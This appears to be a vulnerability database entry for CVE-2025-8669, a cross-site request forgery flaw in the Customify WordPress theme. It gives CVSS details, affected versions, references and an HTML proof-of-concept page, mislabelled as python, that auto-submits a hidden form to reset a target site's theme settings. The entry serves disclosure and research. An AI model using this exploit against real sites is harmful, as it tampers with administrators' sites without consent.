CVE-2025-8669

Description

The Customify theme for WordPress is vulnerable to Cross-Site Request Forgery in version 0.4.11. This is due to missing or incorrect nonce validation on the reset_customize_section function. This makes it possible for unauthenticated attackers to reset theme customization settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Customify主题 < 0.4.12

WordPress Customify主题 0.4.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-8669 CSRF PoC for Customify Theme -->
<!-- This PoC demonstrates how to exploit the missing nonce validation in reset_customize_section function -->

<html>
<head>
    <title>CVE-2025-8669 - Customify CSRF PoC</title>
</head>
<body>
    <h1>CVE-2025-8669 PoC</h1>
    <p>Click the button below to trigger the CSRF attack (requires admin to be logged in)</p>
    
    <!-- Hidden form that auto-submits to reset theme customization -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="customify_reset_section" />
        <input type="hidden" name="section" value="all" />
        <!-- Missing nonce field - this is the vulnerability -->
    </form>
    
    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf-form').submit();
    </script>
    
    <!-- Alternative: Image-based CSRF trigger -->
    <!-- <img src="http://target-site.com/wp-admin/admin-post.php?action=customify_reset_section&section=all" style="display:none;" /> -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8669
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8669
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8669/
[4] VulDB https://vuldb.com/cve/CVE-2025-8669
[5] https://research.cleantalk.org/cve-2025-8669/
[6] https://themes.trac.wordpress.org/browser/customify/0.4.11/inc/customizer/class-customizer.php#L55
[7] https://themes.trac.wordpress.org/changeset/291160/customify/0.4.12/inc/customizer/class-customizer.php
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/a3425d78-1e24-4224-bfdc-a3e11735384f?source=cve
[9] https://research.cleantalk.org/cve-2025-8669/

Raw JSON Data

JSON

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